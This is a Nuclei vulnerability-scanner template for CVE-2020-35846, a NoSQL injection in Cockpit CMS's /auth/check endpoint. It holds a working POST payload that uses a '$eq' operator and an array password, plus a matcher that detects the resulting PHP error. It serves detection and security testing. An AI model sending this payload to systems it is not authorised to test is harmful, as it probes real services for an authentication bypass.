nuclei-templates/cves/2020/CVE-2020-35846.yaml

id: CVE-2020-35846

info:
  name: Cockpit prior to 0.12.0 NoSQL injection in /auth/check
  author: dwisiswant0
  severity: critical
  description: |
    Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function.
    The $eq operator matches documents where the value of a field equals the specified value.
  reference: https://swarm.ptsecurity.com/rce-cockpit-cms/
  tags: cve,cve2020,nosqli,sqli,cockpit,injection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-35846
    cwe-id: CWE-89

requests:
  - method: POST
    path:
      - "{{BaseURL}}/auth/check"
    headers:
      Content-Type: application/json
    body: |
      {
        "auth": {
          "user": {
            "$eq": "admin"
          },
          "password": [
            0
          ]
        }
      }

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "password_verify() expects parameter"